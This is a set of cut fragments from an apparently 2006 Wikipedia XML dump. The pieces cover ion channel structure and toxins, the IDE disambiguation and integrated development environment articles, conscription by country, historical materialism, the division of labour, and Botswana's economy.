depolarization, with an excess of one apparently being sufficient to overcome an absence of the other. == Detailed structure == Channels differ with respect to the ion they let pass (for example, Na&lt;sup&gt;+&lt;/sup&gt;, K&lt;sup&gt;+&lt;/sup&gt;, Cl&lt;sup&gt;&amp;minus;&lt;/sup&gt;), the ways in which they may be regulated, the number of subunits of which they are composed and other aspects of structure. Channels belonging to the largest class, which includes the voltage-gated channels that underlie the nerve impulse, consists of four subunits with six [[transmembrane helix|transmembrane helices]] each. On activation, these helices move about and open the pore. Two of these six helices are separated by a loop that lines the pore and is the primary determinant of ion selectivity and conductance in this channel class and some others. The channel subunits of one such other class, for example, consist of just this &quot;P&quot; loop and two transmembrane helices. The determination of their molecular structure by [[Roderick MacKinnon]] using [[crystallography|X-ray crystallography]] won a share of the 2003 [[Nobel Prize in Chemistry]]. Because of their small size and the difficulty of crystallizing integral membrane proteins for X-ray analysis, it is only very recently that scientists have been able to directly examine what channels &quot;look like.&quot; Particularly in cases where the crystallography required removing channels from their membranes with detergent, many researchers regard images that have been obtained as tentative. An example is the long-awaited crystal structure of a voltage-gated potassium channel, which was reported in May 2003. One inevitable ambiguity about these structures relates to the strong evidence that channels change conformation as they operate (they open and close, for example), such that the structure in the crystal could represent any one of these operational states. Most of what researchers have deduced about channel operation so far they have established through [[electrophysiology]], [[biochemistry]], [[gene]] sequence comparison and [[mutagenesis]]. ==Diseases of Ion Channels== There are a number of chemicals and genetic disorders which disrupt normal functioning of ion channels and have disastrous consequences for the organism. '''Chemicals''' * [[Tetrodotoxin]] (TTX), used by [[puffer fish]] and some types of [[newts]] for defense. It is a sodium channel blocker. * [[Saxitoxin]], produced by a [[dinoflagellate]] also known as [[red tide]]. It blocks voltage dependent sodium channels. * [[Conotoxin]], which is used by [[cone snails]] to hunt prey. * [[Lidocaine]] and [[Novocaine]] belong to a class of [[local anesthetics]] which block sodium ion channels. * [[Dendrotoxin]] is produced by a [[mamba]] [[snakes]] which blocks potassium channels. '''Genetic''' * [[Shaker gene]] mutations cause a defect in the volatage gated ion channels, slowing down the repolarization of the cell. * [[Equine hyperkalaemic periodic paralysis]] as well as [[Human hyperkalaemic periodic paralysis]] (HyperPP) are caused by a defect in voltage dependent sodium channels. * [[Paramyotonia congenital]] (PC) and [[potassium aggravated myotonias]] (PAM) * [[Generalized epilepsy with febrile seizures]] (GEFS) * [[Episodic Ataxia Type-1]] (EA1) * [[Familial hemiplegic migraine]] (FHM) == History == The existence of ion channels was hypothesized by the British [[biophysics|biophysicist]]s [[Alan Hodgkin]] and [[Andrew Huxley]] as part of their [[Nobel Prize in Physiology or Medicine|Nobel Prize]]-winning theory of the nerve impulse, published in 1952. The existence of ion channels was confirmed in the [[1970s]] with an [[electrophysiology|electrical recording technique]] known as the &quot;[[patch clamp]],&quot; which led to a Nobel Prize to [[Erwin Neher]] and [[Bert Sakmann]], the technique's inventors. Hundreds if not thousands of researchers continue to pursue a more detailed understanding of how these proteins work. In recent years the development of [[planar patch clamp|automated patch clamp]] [[Port-a-Patch|devices]] helped to increase the throughput in ion channel screening significantly. ==References== # {{note|general}} Two textbooks that discuss ion channels are: ''Neuroscience'' (2nd edition) Dale Purves, George J. Augustine, David Fitzpatrick, Lawrence. C. Katz, Anthony-Samuel LaMantia, James O. McNamara, S. Mark Williams, editors. Published by Sinauer Associates, Inc. (2001) [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?rid=neurosci.chapter.227 online textbook] and ''Basic Neurochemistry: Molecular, Cellular, and Medical Aspects'' (6th edition) by George J Siegel, Bernard W Agranoff, R. W Albers, Stephen K Fisher and Michael D Uhler published by Lippincott, Williams &amp; Wilkins (1999): [http://www.ncbi.nlm.nih.gov/books/bv.fcgi?rid=bnchm.chapter.421 online textbook] ==See also== * [[action potential]] * [[active transport]] * [[channelopathy]] * [[neurotoxin]] * [[passive transport]] * [[transmembrane receptor]] ==External links== *[http://physrev.physiology.org/cgi/content/full/80/2/555 The Voltage Sensor in Voltage-Dependent Ion Channels] *[http://www.cellbio.wustl.edu/faculty/huettner/69.pdf X-ray crystal structure of a potassium channel] *[http://www.ionchannels.org Ion Channel, Biophysics and Electrophysiology Resources] [[Category:Biochemistry]] [[Category:Ion channels]] [[de:Ionenkanal]] [[fi:Ionikanava]] [[fr:Canal ionique]] [[ja:イオンチャンネル]] [[nl:Ionkanaal]]</text> </revision> </page> <page> <title>IDE</title> <id>15304</id> <revision> <id>40565359</id> <timestamp>2006-02-21T13:45:57Z</timestamp> <contributor> <ip>193.125.78.210</ip> </contributor> <comment>/* See also */</comment> <text xml:space="preserve">Meanings of '''IDE''': * Integrated Drive Electronics - the more commonly-used name for the [[Advanced Technology Attachment]] interface standard. * [[Integrated development environment|Integrated Development Environment]] * Integrated Desktop Environment * Investigational Device Exemption - A [[Food and Drug Administration|FDA]] regulatory status which permits the human use of an unapproved medical device Meanings of '''Ide''': * [[Ide]] - a fish (''Leuciscus idus'' in [[Latin]]) * A time of the [[month]], as in ''[[Ides of March]]'' * [[Ide, Devon]] -a village to the south of [[Exeter]], [[Devon]], [[England]]. * Means &quot;'''here'''&quot; in [[Hungarian]] IDE was also the [[KGB|KGB's]] codename for [[Samuel Krafsur]] mentioned in the [[Venona]] decryptions. ==See also== *[[IDDE]] {{TLAdisambig}} [[ca:IDE]] [[cs:IDE]] [[de:IDE]] [[fr:IDE]] [[it:IDE]] [[he:IDE]] [[lt:IDE]] [[nl:IDE]] [[ja:IDE]] [[pl:IDE]] [[uk:IDE]] [[zh:IDE]]</text> </revision> </page> <page> <title>Integrated development environment</title> <id>15305</id> <revision> <id>41648782</id> <timestamp>2006-02-28T20:03:04Z</timestamp> <contributor> <username>S0crates9</username> <id>425649</id> </contributor> <comment>/* See also */</comment> <text xml:space="preserve">An '''integrated development environment''' ('''IDE'''), also known as '''integrated design environment''' and '''integrated debugging environment''', is a type of [[computer software]] that assists [[programmer|computer programmers]] to develop software. IDEs normally consist of a [[source code editor]], a [[compiler]] and/or [[Interpreter (computing)|interpreter]], build-automation tools, and (usually) a [[debugger]]. Sometimes a [[version control system]] and various tools to simplify the construction of a [[GUI]] are integrated as well. Many modern IDEs also integrate a [[class browser]], an [[object inspector]] and a [[class hierarchy diagram]], for use with [[object oriented]] software development. Although some multiple-language IDEs are in use, such as the [[Eclipse (computing)|Eclipse]] IDE, [[NetBeans]] or [[Microsoft Visual Studio]], typically an IDE is devoted to a specific [[programming language]], as in the [[Visual Basic programming language|Visual Basic]] IDE. ==History== IDEs initially became necessary when doing development in front of console or terminal. Early languages did not have one, since they were prepared using flowcharts, coding forms, and keypunches before being submitted to a compiler. [[Dartmouth BASIC|BASIC]] was the first language to be created with an IDE (and was also the first t
erall, however, during the past few years, the number of men being drafted has declined significantly. Besides several exceptions, military service is compulsory for all men between the ages of eighteen and twenty three years. Those who are engaged in educational or vocational training programs prior to their military assessment are allowed to postpone service until they have completed the programs and can be called upon to perform their national duty at any time thereafter. ===Greece=== :''Main article at [[Conscription in Greece]]'' As of 2004, [[Greece]] (Hellenic Republic) has mandatory military service of twelve months for men. However, it is developing a professional army system, and it is widely expected that the mandatory military service will be cut to six months by [[2008]] or even abolished completely. Although women are accepted into the Greek army, they are not obliged to join as men are. Soldiers receive no health insurance, but they can receive medical support during their army service, including hospitalization costs. They receive a symbolic salary of approximately nine [[euro|euros]] per month for privates, twelve [[euro|euros]] for the rank of draft corporal and draft sergeant, and 600 [[euro|euros]] as a draft cadet. The wages are not sufficient to sustain a draftee serving his tour away from his place of residence and most draftees depend financially on their parents to support them financially while they are on their tour. ===Israel=== [[Israel]] has mandatory military service for both Jewish men and women. All Israeli Jews are conscripted, except [[Haredi Judaism|Haredim]], who can choose to serve but mostly do not. Israeli Arabs are exempt from service, although they can volunteer and some communities such as the [[Druze]], [[Bedouin]], and [[Circassians]] do serve. Young women can generally not serve if they are married, pregnant, or otherwise - Israel is generally very lenient with Israeli women when it comes to the draft. However, most that can, do serve out of patriotism. Typically, men serve for 36&amp;nbsp;months, women serve for 24&amp;nbsp;months. ''See also: [[Israel Defence Forces]].'' There are limited number of ''[[Refusenik (Israel)|refusenik]]s'' who resist military service in general, or who refuse to serve in the [[West Bank]]. Some of them serving short prison terms as a result (no more than a few months). ''See also: [[Refusal to serve in the Israeli military]].'' In addition, men are liable for up to a month a year of reserve duty (miluim) until they are fifty. Women are liable for it until they are twenty four, married, or pregnant. ===Korea, South=== As of 2004, [[South Korea]] has mandatory military service of twenty four months. See: [http://kn.koreaherald.co.kr/SITE/data/html_dir/2002/12/14/200212140004.asp]. ===Lebanon=== [[Lebanon]] previously had mandatory military service of one year for men. On [[4 May]] [[2005]], a new conscription system was adopted, making for a six-month service, and pledging to end conscription within two years. See [http://www.lebarmy.gov.lb/English/FlagService.asp Official Information from Lebanese Army]. ===Malaysia=== As of [[2004]], [[Malaysia]] has mandatory [[Malaysian National Service|national service]] of three months for a selected group of both men and women. Twenty per cent of 18-year-olds are selected through a lottery system to join this program. Trainees are not trained to use firearms. The first training date was [[February 16]], 2004. See [http://www.khidmatnegara.gov.my Official Information from Malaysia National Service Training Department]. ===Mexico=== Currently, all males reaching eighteen years of age must register for military service (Servicio Militar Nacional, or SMN) of one year, though selection is made by a lottery system using the following color scheme: whoever draws a black ball must serve as a &quot;disponibility reservist&quot;, that is, they must not follow any activities whatsoever and get their discharge card at the end of the year. The ones who get a white ball serve in a Batallón del Servicio Militar Nacional (National Military Service Battalion) composed entirely of one-year SMN conscripts. Those with a community service interest may participate in Literacy Campaigns as teachers, or as Phys-Ed instructors. Military service is also (voluntarily) open to women. In certain cities, such as Mexico City and Veracruz, there is a third option: a red ball (Mexico City) and a Blue ball (Veracruz), which entails serving a full year as a recruit in a Paratrooper Battalion in the case of Mexico City residents, or a Infantería de Marina unit (Navy Marines) in Veracruz. In other cities which have a Navy HQ (such as Ciudad Madero), it is the Navy which takes charge of the conscripts, instead of the Army. ===Norway=== [[Norway]] has mandatory military service of eighteen months for men between the ages of eighteen (17 with parental consent) and forty four. The actual draft time is six months for the [[Norwegian Home Guard|home guard]], and 9-12 months for the regular [[Norwegian Army|army]], [[Royal Norwegian Air Force|air force]] and [[Royal Norwegian Navy|navy]]. The remaining months are supposed to be served in annual exercises, but very few conscripts do this due to lack of funding to the Norwegian armed forces. The decreased funding and greater reliance on high technology in the armed forces has resulted in only a third of the male population completing the service (since the late 1990's). The remaining two thirds have mostly formally been dismissed after medical tests or obtained deferral of the service due to studies or stays abroad. Many Norwegians consider it unfair that they are the &quot;unlucky&quot; 1/3 that have to complete the compulsory military duty when so many others are dismissed. Others see it as a privilege and there has been reported high competition during the past few years to be allowed to serve. Having completed the draft time is generally regarded favourably with employers. The Norwegian armed forces will normally not draft a person who has reached the age of twenty eight. In Norway certain voluntary specialist training programs entail extended conscription of one to eight years. [[pacifism|Pacifists]] can apply for [[non-military service]], lasting thirteen months. Women can volunteer for military service in any part of the armed forces. ===Poland=== [[Poland]] has a compulsory service term of nine months for all mature men. However, many of those are considered unfit for mandatory military service during peacetime. Effectively, many tens of thousands of men are drafted each autumn. Alternative service can be requested, e.g. in the [[police]] force. This is only valid if you are not attending an educational facility. Some students can volunteer for military preparations, so they serve in military 6 weeks during their summer break after the finish fourth semester. After joining the European Union, many young men move abroad in order to avoid draft and quite low conditions in the [[Polish Army]]. Also many, facing very high unemployment in the country, join forces voluntarily to serve the term and later gain opportunity to get a well paid jobs in military or police. ===Romania=== [[Romania]] still has conscription. In [[2003]] an amendment to the [[Romanian Constitution|Constitution]] allowed the Parliament to mark the military service facultative and the conscription will end in January 2007. Men serve for twelve months (6 months if they have graduated a form of higher education). [[As of 2004]], conscripts no longer serve in the Romanian Navy. The Romanian parliament voted in October 2005 to end the draft after the October 2006 &quot;class&quot; of draftees reports for duty. Beginning in January 2007, twenty year-old Romanian men will have to register with the government but the men will only be liable to call up in the case of war. The parliamentary vote formalized one of many military modernization and reform programs Romania agreed to when it joined NATO. By 2012, the requirement for registration will lower to seventeen years of age. ===Russia=== The conscription system was introduced into [[Imperial Russia]] by [[Dmitry Milyutin]] in the [[1870s]]. As of [[2002]], [[Russian Federation]] has a mandatory two-year draft but most Russians avoid it. The most widely used ways to avoid the military service are: * Studying in a university or similar place. All students are free from conscription, but they can be drafted after they graduate (or if they drop out). Graduated students serve one year as privates, but if they have a military education, they have option to serve two years as officers. Persons who continue postgraduate education, or have a [[doctoral degree]] (Candidate of Sciences) are not drafted. * Getting a medical certificate that shows that a person is unfit for service. Sometimes such certificates are false and are made for a bribe. * Bribing military or civilian officials responsible for draft. * Just not going to a draft station, draft-dodging. This can be a criminal offence, punishable by up to two years in prison. * Not widely used way is having more than two children, or one child younger than three years. * There are other legal (described in the law) or illegal ways to evade draft. In Russia, a person can not be conscripted after he turns twenty seven. As a result of draft evasion, Russian generals have complained on numerous times that the bulk of the army is made up of drug-addicts, imbeciles, and ex-convicts, which in turn has lead to an overall decline of the morale and function of the Russian armed services. Conscripts often face brutal hazing and [[bullying]] upon their enterance into the military known as [[dedovschina]], some dying as a result. Suicide among Russian conscripts is at an all time high. See [http://www.spacedaily.com/2002/021206145741.ooyw2y54.html Only eleven percent of Russian men enter mandatory military
Barth]]) has not yet discovered that while the material mode of existence is the ''primum agens'' this does not preclude the ideological spheres from reacting upon it in their turn, though with a secondary effect, he cannot possibly have understood the subject he is writing about. (...) The materialist conception of history has a lot of [dangerous friends] nowadays, to whom it serves as an excuse for not studying history. Just as Marx used to say, commenting on the French &quot;Marxists&quot; of the late 70s: &quot;All I know is that I am not a Marxist.&quot; (...) In general, the word &quot;materialistic&quot; serves many of the younger writers in Germany as a mere phrase with which anything and everything is labeled without further study, that is, they stick on this label and then consider the question disposed of. But our conception of history is above all a guide to study, not a lever for construction after the manner of the Hegelian. All history must be studied afresh, the conditions of existence of the different formations of society must be examined individually before the attempt is made to deduce them from the political, civil law, aesthetic, philosophic, religious, etc., views corresponding to them. Up to now but little has been done here because only a few people have got down to it seriously. In this field we can utilize heaps of help, it is immensely big, anyone who will work seriously can achieve much and distinguish himself. But instead of this too many of the younger Germans simply make use of the phrase historical materialism (and everything can be turned into a phrase) only in order to get their own relatively scanty historical knowledge — for economic history is still in its swaddling clothes! — constructed into a neat system as quickly as possible, and they then deem themselves something very tremendous. And after that a Barth can come along and attack the thing itself, which in his circle has indeed been degraded to a mere phrase.&quot; Source: http://www.marxists.org/archive/marx/works/1890/letters/90_08_05.htm Finally, in a letter to Franz Mehring, Frederick Engels dated [[14 July]] [[1893]], Engels stated: &quot;...there is only one other point lacking, which, however, Marx and I always failed to stress enough in our writings and in regard to which we are all equally guilty. That is to say, we all laid, and were bound to lay, the main emphasis, in the first place, on the derivation of political, juridical and other ideological notions, and of actions arising through the medium of these notions, from basic economic facts. But in so doing we neglected the formal side — the ways and means by which these notions, etc., come about — for the sake of the content. This has given our adversaries a welcome opportunity for misunderstandings, of which Paul Barth is a striking example.&quot; Source: http://www.marxists.org/archive/marx/works/1893/letters/93_07_14.htm ==Historical materialism as doctrine== Nevertheless, at least from the 1870s the pressure towards the doctrinalisation of Marx's interpretation of history became increasingly strong, for several reasons. (1) Marx &amp; Engels did aim to increase their own political influence in the [[labor movement]] and [[socialist]] movement, and for this they needed a popular [[ideology]] or [[doctrine]] which people could easily understand and act upon. Both men were quite capable of splendid political rhetoric and, occasionally, of making sweeping generalisations (2) Attacks by critics, academics and competitors in the [[socialist]] movement also forced them to systematise their ideas; [[generalisations]] from [[experience]] and research demanded a more explicit coherent theoretical framework. (3) Christian religious and moral doctrine was still very influential among the working classes, who mostly lacked access to a scientific education, and this created the political need or pressure to articulate a complete ''alternative belief system'' or ''scientific world outlook''. Thus, Engels sought to distinguish between religious-utopian and practical-scientific [[socialism]]. These three factors are the original sources of the [[tension]] between [[science]] and [[ideology]] in [[Marxism]]. Engels, who was the first great &quot;Marxist systematiser&quot;, tried to take a [[nuanced]] approach in his writings and popularise the materialist approach without [[vulgarisation]]. In a Preface to the English edition of his pamphlet ''Socialism: Utopian and Scientific'' (completed in 1880), Frederick Engels indicated that he accepted the usage of the term &quot;historical materialism&quot;. Recalling the early days of the new interpretation of history, he stated: &quot;We, at that time, were all materialists, or, at least, very advanced free-thinkers, and to us it appeared inconceivable that almost all educated people in England should believe in all sorts of impossible miracles, and that even geologists like Buckland and Mantell should contort the facts of their science so as not to clash too much with the myths of the book of Genesis; while, in order to find people who dared to use their own intellectual faculties with regard to religious matters, you had to go amongst the uneducated, the &quot;great unwashed&quot;, as they were then called, the working people, especially the Owenite Socialists&quot;. http://www.marxists.org/archive/marx/works/1880/soc-utop/int-mat.htm In a foreword to his essay ''Ludwig Feuerbach and the End of Classical'' ''German Philosophy'' (1886), three years after Marx's death, Engels claimed confidently that &quot;In the meantime, the Marxist world outlook has found representatives far beyond the boundaries of Germany and Europe and in all the literary languages of the world.&quot; http://www.marxists.org/archive/marx/works/1886/ludwig-feuerbach/foreword.htm In his old age, Engels speculated about a new [[cosmology]] or [[ontology]] which would show the principles of [[dialectics]] to be universal features of reality. He also drafted an article on ''The part played by labour in the transition from Ape to Man'', apparently a theory of [[anthropogenesis]] which would integrate the insights of Marx and [[Charles Darwin]] http://www.marxists.org/archive/marx/works/1876/part-played-labour/ (This is discussed by Charles Woolfson in ''The Labour Theory of Culture: a Re-examination of Engels Theory of Human Origins). At the very least, [[Marxism]] had now been born, and &quot;historical materialism&quot; had become a distinct philosophical doctrine, subsequently elaborated and systematised by intellectuals like [[Eduard Bernstein]], [[Karl Kautsky]], [[Georgi Plekhanov]] and [[Nikolai Bukharin]]. Even so, up to the 1930s many of Marx's earlier works were still unknown, and in reality most self-styled Marxists had not read beyond Capital Vol. 1. [[Isaac Deutscher]] provides an anecdote about the knowledge of Marx in that era: &quot;''Capital'' is a tough nut to crack, opined [[Ignacy Daszyński]], one of the most wellknown socialist &quot;people's tribunes&quot; around the turn of the 20th century, but anyhow he had not read it. But, he said, [[Karl Kautsky]] had read it, and written a popular summary of the first volume. He hadn't read this either, but [[Kazimierz Kelles-Krauz]], the party theoretician, had read Kautsky's pamphlet and summarised it. He also had not read Kelles-Krauz's text, but the financial expert of the party, [[Hermann Diamand]], had read it and had told him, i.e. Daszynski, everything about it&quot;. http://www.rote-ruhr-uni.org/seminare/lesekreis.shtml After [[Lenin]]'s death in 1924, Marxism was transformed into [[Marxism-Leninism]] and from there to [[Maoism]] or Marxism-Leninism-Mao Ze Dong Thought in [[China]] which some regard as the &quot;true doctrine&quot; and others as a &quot;state religion&quot;. In the early years of the 20th century, historical materialism was often treated by socialist writers as interchangeable with [[dialectical materialism]], a formulation never used by [[Friedrich Engels]] however. According to many Marxists influenced by Soviet Marxism, historical materialism is a specifically [[sociology|sociological]] method, while dialectical materialism refers to a more general, abstract, [[philosophy]]. The Soviet orthodox Marxist tradition, influential for half a century, based itself on [[Joseph Stalin]]'s pamphlet ''Dialectical and Historical materialism'' and on textbooks issued by the &quot;Institute of Marxism-Leninism of the Central Committee of the Communist Party of the Soviet Union&quot;. ==Criticisms== The main serious objection advanced by the critics of Marxism and of historical materialism is that as soon as Marxists really begin to study the historical facts, there is ''either'' no longer anything distinctively &quot;Marxist&quot; about what they do, ''or else'' the facts are twisted to fit with a preconceived dogma. In the worst case, this arguably leads to the [[totalitarian]] temptation to try and force the course of history in a particular direction, based on a false belief that one &quot;knows&quot; the way history is moving. The idea here is that the doctrine (or [[Marxism]]) really gets in the way of genuinely scientific historical research, and leads to political projects which run roughshod over the [[morals]], [[interests]] and [[beliefs]] of the people. In reply, Marxists have pointed to historical analyses by for example [[Marx]], [[Engels]], [[Lenin]], [[Rosa Luxemburg]], [[Leon Trotsky]], [[Isaac Deutscher]], [[Eric Hobsbawm]], [[Christopher Hill]], [[Robin Blackburn]] and [[Perry Anderson]] among many others as valid examples of the application of historical materialism to the historical facts. They have also pointed to the social and material [[progress]] in many countries which would not have occurred without Marxist movements. In [[postmodern]] theory, however, the very notion of historical [[progress]] is contested. Underlying t
would be achieved by the same number of workers each carrying out the original broad task. Worker skill is the chief source of productivity gain in Smith's thinking. In modern economic theory, that role has been taken over by overall [[technology|technological]] progress and the concept of [[human capital]]. == Karl Marx == Increasing specialization may also lead to workers with poorer overall skills and a lack of enthusiasm for their work. This viewpoint was extended and refined by [[Karl Marx]]. He described the process as [[Marx's theory of alienation|alienation]]; workers become more and more specialized and work repetitious which eventually leads to complete alienation. Marx wrote that &quot;with this division of labour&quot;, the worker is &quot;depressed spiritually and physically to the condition of a machine&quot;. He believed that the fullness of production is essential to human [[liberation]] and accepted the idea of a strict division of labour only as a temporary ''necessary evil''. Marx's most important theoretical contribution was his sharp distinction between the ''social'' division and the ''technical'' or economic division of labour. That is, some forms of labor cooperation are due purely to ''technical necessity'', but others are purely a result of a ''social control'' function related to a class and status hierarchy. If these two divisions are conflated, it might appear as though the existing division of labour is technically inevitable and immutable, rather than (in good part) socially constructed and influenced by [[Power (sociology)|power]] relationships. It may be, for example, that it is technically necessary that both pleasant and unpleasant jobs must be done by a group of people. But from that fact alone, it does not follow that any particular person must do any particular (pleasant or unpleasant) job. If particular people get to do the unpleasant jobs and others the pleasant jobs, this cannot be explained by technical necessity; it is a socially made decision, which could be made using a variety of different criteria. The tasks could be rotated, or a person could be assigned to a task permanently, and so on. Marx also suggests that the capitalist division of labour will evolve over time such that the maximum amount of labour is [[productive and unproductive labour|productive labour]], where productive labour is defined as labour which creates [[surplus value]]. However, [[time use survey]]s suggest that commercially performed labour always depends on, and goes together with, the performance of a very large amount of voluntary labour. To the extent that state [[subsidies]] are cut and [[privatisation]] increases, more work often devolves on people who must do that work without pay. In Marx's [[communist]] utopia, the division of labour is transcended, meaning that balanced human development occurs where people fully express their nature in the variety of creative work that they do. ==Durkheim== [[Émile Durkheim]] wrote about a fractionated, unequal world by divining it along the lines of &quot;[[Solidarity (sociology)|human solidarity]],&quot; its essential moral value is division of labour. In 1893 he published &quot;[[The Division of Labor in Society]]&quot;, his fundamental statement of the nature of [[human society]] and its [[social development]]. According to [[Franz Borkenau]] it was a great increase in division of labour occurring in the 1600s after the [[Industrial Revolution]] that introduced the abstract category of work, which may be said to underlie, in turn, the whole modern, [[Cartesian]] notion that our bodily existence is merely an object of our (abstract) consciousness. ==Von Mises, and globalisation== On the other hand, Marx's theories, including the negative claims regarding the division of labour have been criticized by the [[Austrian economists]], such as [[Ludwig von Mises]]. The main argument here is that the gains accruing from the division of labour by far outweigh the costs; that it is fully possible to achieve balanced human development within [[capitalism]], and that [[alienation]] is more a [[romantic]] fiction. After all, work is not all there is; there is also [[leisure]] time. The issue reaches its broadest scope in the controversies about [[globalisation]], which is often interpreted as a euphemism for the expansion of world trade based on [[comparative advantage]]. This would mean that countries specialise in the work they can do best. Critics however allege that international specialisation cannot be explained very well in terms of &quot;the work nations do best&quot;, rather this specialisation is guided more by [[commerce|commercial]] criteria, which favour some countries over others. The [[OECD]] recently advised ([[28 June]] [[2005]]) that: &quot;Efficient policies to encourage employment and combat unemployment are essential if countries are to reap the full benefits of globalisation and avoid a backlash against open trade... Job losses in some sectors, along with new job opportunities in other sectors, are an inevitable accompaniment of the process of globalisation... The challenge is to ensure that the adjustment process involved in matching available workers with new job openings works as smoothly as possible/.&quot; ==Modern debates== In the modern world, those specialists most preoccupied in their work with theorising about the division of labour are those involved in [[management]] and [[organisation]]. In view of the global extremities of the division of labour, the question is often raised about what division of labour would be most ideal, beautiful, efficient and just. Labour [[hierarchy]] is to a great extent inevitable, simply because no one can do all tasks at once; but of course the way these hierarchies are structured can be influenced by a variety of different factors. The question to ask is what the hierarchy is a hierarchy of. An important Western concept in this regard is the concept of [[meritocracy]], which could alternately be read as an [[explanation]] or as a [[justification]] of why a division of labour is the way it is. But it is often agreed that the most equitable principle in allocating people within hierarchies is that of true (or proven) [[competency]] or [[ability]]. ==US 2002 estimates for the division of labour== Statistics may help to reveal some of the dimensions of the division of labour. This example concerns the USA. First, we can derive the ''basic'' employment categories in the USA in 2002 in approximate figures from BLS data, as follows (working our way down from the total population): *American total resident population 288 million *population (16+) 224 million *economically active population 218 million *total civilian non-institutional population (16+) 215 million *population 16-65 years old 188 million *civilian labour force 145 million *employed civilian labour force 137 million *Unpaid family workers 0.03 million *employers 10 million (4.9 million distinct firms, 7 million establishments) *self-employed (farm) 1 million *self-employed (non-farm) 9 million *wage &amp; salary earners 136 million *employees 127 million *government employees 20 million *private sector workforce 105 million *Parttime workers non-farm 27 million *Parttime workers farm 0.5 million *private sector waged employees 95 million *unionised wage earners 18 million We can then look at the proportions of what the ''total American population'' actually did in 2002, in approximate figures and broad categories: *Children (under 16, not working for pay) 64 million *Retired (over 65, not in the labour force) 28 million *Fulltime housewives, house-husbands and idle not working for pay 22 million *Industrial production workers 26.2 million *Managers and executives 15.8 million *Clerical and administrative workers 15.3 million *Sales workers 15 million *Reserve army of unemployed 13 million *Engineers, architects, technicians, programmers and scientists 10.5 million *Employers of workers, all kinds 9.8 million *Supervisors of workers, all kinds 9.1 million *Teachers, professional childcare workers and paid childcare assistants 8 million *Transport workers 5 million *Unskilled labourers, handlers and helpers 4.8 million *Aides, ushers, guides, orderlies, and attendants 4.8 million *Personal care, health and medical workers 4.3 million *Cleaners, janitors, private cooks, maids &amp; housekeepers 3.7 million *Accountants, auditors, underwriters, and financial officers 2.6 million *Adults in institutional care n.e.c. 2.5 million *Specialists &amp; consultants in human resources, PR and labour relations 2.1 million *Prison &amp; jail inmates 2 million *Artists, entertainers &amp; designers, photographers, professional athletes, recreational services 1.6 million *Nursing home residents 1.6 million *Fulltime criminals and lumpenised, not in corrective institutions 1.5 million *Lawyers, judges and legal assistants 1.3 million *Therapists, counselors, social workers and welfare service aides 1.2 million *Police, detective, and law enforcement officers 1.2 million *Medical doctors, dentists, vetinarians, optometrists, and podiatrists 1.1 million *Military personnel, domestic 1.1 million *Groundskeepers, gardeners, animal caretakers (non-farm) 1.1 million *Security guards 1 million *Farmers 1 million *Prostitutes 1 million *Working children (under 16) 1 million *Inspectors (construction, production and compliance) 0.9 million *Editors, writers, reporters, proofreaders, librarians, archivists, and curators 0.6 million *Adult hospital patients 0.5 million *Religious clergy, and employees of religious institutions 0.4 million *Corrective institution &amp; prison officers 0.3 million *Firefighting, fire prevention and pest control workers 0.3 million *Water, sewage and electricity workers 0.2 million *Hospice inpatients 0.1 million *Adult psychiatric patients 0.2 million Finally, we can look at the occupational
rica]] and has stockpiled foreign exchange reserves (over $5.1 billion in 2003/2004) amounting to almost two and one half years of current imports. Botswana's impressive economic record has been built on the foundation of wisely using revenue generated from [[diamond]] [[mining]] to fuel economic development through prudent fiscal policies and a cautious [[foreign policy]]. [[Debswana]], the only [[list of diamond mines|diamond mining]] company operating in Botswana, is 50 % owned by the government and generates about half of all government revenues. However, economic development spending was cut by 10 % in 2002-2003 as a result of recurring budget deficits and rising expenditure on [[healthcare]] services. Botswana has been hit very hard by the [[AIDS]] epidemic. Approximately one in three Batswana have HIV, giving Botswana the second highest HIV infection rate in the world after [[Swaziland]] [http://www.avert.org/aidsbotswana.htm]. The government recognizes that [[HIV]]/[[AIDS]] will affect the economy and is providing leadership and programs to combat the [[epidemic]], including free [[Antiretroviral drug|anti-retroviral treatment]] and a nation-wide Prevention of Mother-to-Child Transmission program.[[Image:Botswana Family.jpg|thumb|right|200px|Indigenous peoples of Botswana]] Some of Botswana's budget deficits can be traced to relatively high military expenditures (of roughly 4% of GDP in 2004, according to the CIA World Factbook), which some critics contend is unnecessary given the low likelihood of international conflict (though the Botswana government also makes use of these troops for multilateral operations and assistance efforts). ===Private sector development and foreign investment === Botswana seeks to further diversify its economy away from minerals, which account for a third of GDP, down from nearly half of GDP in the early 1990's. Foreign investment and management are welcomed in Botswana. Botswana abolished foreign exchange controls in 1999, has a low corporate tax rate (15%), no prohibitions on foreign ownership of companies, and a moderate inflation rate (7.6% November 2004). The Government of Botswana is currently considering additional policies to enhance competitiveness, including a new Foreign Direct Investment Strategy, Competition Policy, Privatisation Master Plan, and National Export Development Strategy. With its proven record of good economic governance, Botswana was ranked as Africa's least corrupt country by [[Transparency International]] in 2004, ahead of many European and Asian countries. The World Economic Forum rates Botswana as one of the two most economically competitive nations in Africa. In 2004 Botswana was once again assigned &quot;A&quot; grade credit ratings by [[Moody's]] and [[Standard &amp; Poor's]]. This ranks Botswana as by far the best credit risk in Africa and puts it on par with or above many countries in central Europe, East Asia, and Latin America.[[Image:Botswana1987Kidsrain.jpg|thumb|right|250px|Palapye children, 1987, after the first rain for years.]] U.S. investment in Botswana remains at relatively low levels, but continues to grow. Major U.S. corporations, such as [[H.J. Heinz]] and [[AON Corporation]], are present through direct investments, while others, such as [[Kentucky Fried Chicken]] and [[Remax]], are present via franchise. The sovereign credit ratings by Moody's and Standard &amp; Poor's clearly indicate that, despite continued challenges such as small market size, landlocked location, and cumbersome bureaucratic processes, Botswana remains one of the best investment opportunities in the developing world. Botswana has a 90-member American Business Council that accepts membership from American-affiliated companies. [[Image:BotswanaSeroweWaterhole.jpg|thumb|right|200px|Cattle at a water hole near Serowe]] Because of history and geography, Botswana has long had deep ties to the economy of [[South Africa]]. The [[Southern Africa Customs Union]] (SACU), comprising Botswana, [[Lesotho]], [[Swaziland]], and South Africa, dates from 1910, and is the world&amp;#8217;s oldest customs union. [[Namibia]] joined in 1990. Under this arrangement, South Africa has collected [[levies]] from customs, sales, and excise duties for all five members, sharing out proceeds based on each country's portion of imports. The exact formula for sharing revenues and the decision-making authority over duties &amp;mdash; held exclusively by the Government of South Africa &amp;mdash; became increasingly controversial, and the members renegotiated the arrangement in 2001. The new structure has now been formally ratified and a SACU Secretariat has been established in [[Windhoek]], Namibia. Following South Africa's accession to the [[World Trade Organization]] (WTO), Botswana also joined; many of the SACU duties are thus declining, making products from 